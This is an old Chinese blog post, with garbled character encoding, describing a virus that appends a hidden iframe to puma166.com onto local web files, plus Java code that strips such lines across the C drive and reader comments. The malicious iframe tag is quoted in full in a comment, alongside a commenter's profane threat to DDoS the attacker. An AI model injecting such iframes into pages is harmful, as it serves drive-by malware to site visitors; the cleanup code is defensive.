lqxue

          常用鏈接

          統(tǒng)計(jì)

          book

          tools

          最新評(píng)論

          清除文件中含有指定特征字符串(例如puma166)的行。


          最近感染了一個(gè)病毒,也說不上是啥毒,反正所有的.html,.htm,.jsp文件一經(jīng)被IE執(zhí)行,它都會(huì)在文件的尾部加上一句類似這樣一句代碼“< IFRAME ID=IFrame1 FRAMEBORDER=0 SCROLLING=NO SRC="http://www.puma166.com/...."></ IFRAME > ”;殺毒軟件是不能幫我把它從文件中刪除了,自己寫了一段程序來實(shí)現(xiàn)。

          import java.io.BufferedReader;
          import java.io.File;
          import java.io.FileReader;
          import java.io.FileWriter;

          public class Test {
              
          private static String feature = "puma166";// the special string which indicate that we will remove this line 
              private static String filetypes = "#.htm#.html#.jsp#.asp#.aspx#";
              
          public static void moveAntivus(String filename,String feature) throws Exception{
                  FileReader fr 
          = new FileReader(filename);
                  String tmpFileName 
          = filename+"_tmp";
                  BufferedReader br 
          = new BufferedReader(fr);
                  String line 
          = "";
                  FileWriter fw ;
                  
          while ((line=br.readLine()) != null) {
                      
          if(line.trim().indexOf(feature)<0){
                          fw 
          = new FileWriter(new File(tmpFileName),true);
                          fw.write(line
          +"\n");
                          fw.close();
                      }
                  }
                  fr.close();
                  File file 
          = new File(filename);
                  file.delete();
                  
          new File(tmpFileName).renameTo(new File(filename));
              }
              
          public static void scanFile(File file){
                 if(file.getName().indexOf(".")<0)
                      return;
                  
          try {
                      String ext 
          = file.getName().substring(file.getName().lastIndexOf("."));
                      
          if(filetypes.indexOf(ext)>0){
                          moveAntivus(file.getAbsolutePath(),feature);
                          System.out.println(file.getAbsolutePath());
                      }
                  } 
          catch (Exception e) {
                      e.printStackTrace();
                  }
              }
              
          public static void scanDir(File dir){
                      File[] files 
          = dir.listFiles();
                      
          for(int i=0;i<files.length;i++){
                          
          if(files[i].isDirectory()){
                              scanDir(files[i]);
                          }
          else{
                              scanFile(files[i]);
                          }
                      }
              }
              
          public static void main(String[] args){
                  Test.scanDir(
          new File("C:\\"));//掃描c盤;
              }
          }

          posted on 2007-05-25 10:31 lqx 閱讀(1233) 評(píng)論(6)  編輯  收藏

          評(píng)論

          # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-05 10:14 cf

          我也中了這個(gè)病毒,請(qǐng)問你寫的這個(gè)程序應(yīng)該放程序的什么地方?請(qǐng)回復(fù)到我的郵箱好嗎?我的郵箱是:cf244000@163.com.謝謝了,急用  回復(fù)  更多評(píng)論   

          # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 09:34 myself

          這是一段java代碼,你在執(zhí)行前在main方法里填上你要掃描的文件夾或磁盤
          如下:
          public static void main(String[] args){
          Test.scanDir(new File("C:\\"));//掃描c盤;
          Test.scanDir(new File("C:\\a\\"));//掃描c盤的a文件夾;
          }

          編譯通過后,執(zhí)行即可  回復(fù)  更多評(píng)論   

          # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 10:05 cf

          謝謝了  回復(fù)  更多評(píng)論   

          # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 10:32 雨的眼淚

          你好,還是我,我把這段代碼放在我要運(yùn)行的mian.asp中,這樣可以嗎?將這句代碼“Test.scanDir(new File("C:\\a\\"));//掃描c盤的a文件夾;”換成我網(wǎng)上文件所在的文件。然后將我的文件放到網(wǎng)上,這樣可以嗎?謝謝了
            回復(fù)  更多評(píng)論   

          #  <iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>太卑鄙了我草他老母[未登錄] 2007-06-27 10:18 過客

          <iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe> 他嗎的這個(gè)東西太卑鄙了 竟然給老子掛網(wǎng)馬

          嗎的害的老子好苦啊 草他娘 草他老母啊 日他麻痹啊


          誰告訴我他的真正網(wǎng)站 老子 給他黑了 DDOS他麻痹啊 草呀 你他娘  回復(fù)  更多評(píng)論   

          # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-09-15 22:56 jackycheng

          我以前是通過dreamweaver 來替換好把它清除了,自己硬盤上網(wǎng)頁太多,又散清楚起來特別的麻煩。今天看到樓主這樣編程殺毒的方法覺得挺不錯(cuò)的。樓主怎么不把它做成軟件讓大家共享呢?

                  回復(fù)  更多評(píng)論   


          只有注冊用戶登錄后才能發(fā)表評(píng)論。


          網(wǎng)站導(dǎo)航:
           
          主站蜘蛛池模板: 宝清县| 湘西| 昔阳县| 大埔区| 阳信县| 五指山市| 如东县| 鄂托克旗| 东源县| 乐山市| 广元市| 井冈山市| 永泰县| 古浪县| 建始县| 岳西县| 湟源县| 加查县| 东港市| 沐川县| 芷江| 运城市| 花垣县| 星座| 兖州市| 湄潭县| 门头沟区| 敦化市| 宁都县| 元谋县| 渭源县| 安顺市| 连平县| 柳州市| 巩义市| 舞钢市| 克什克腾旗| 滕州市| 珲春市| 旺苍县| 天台县|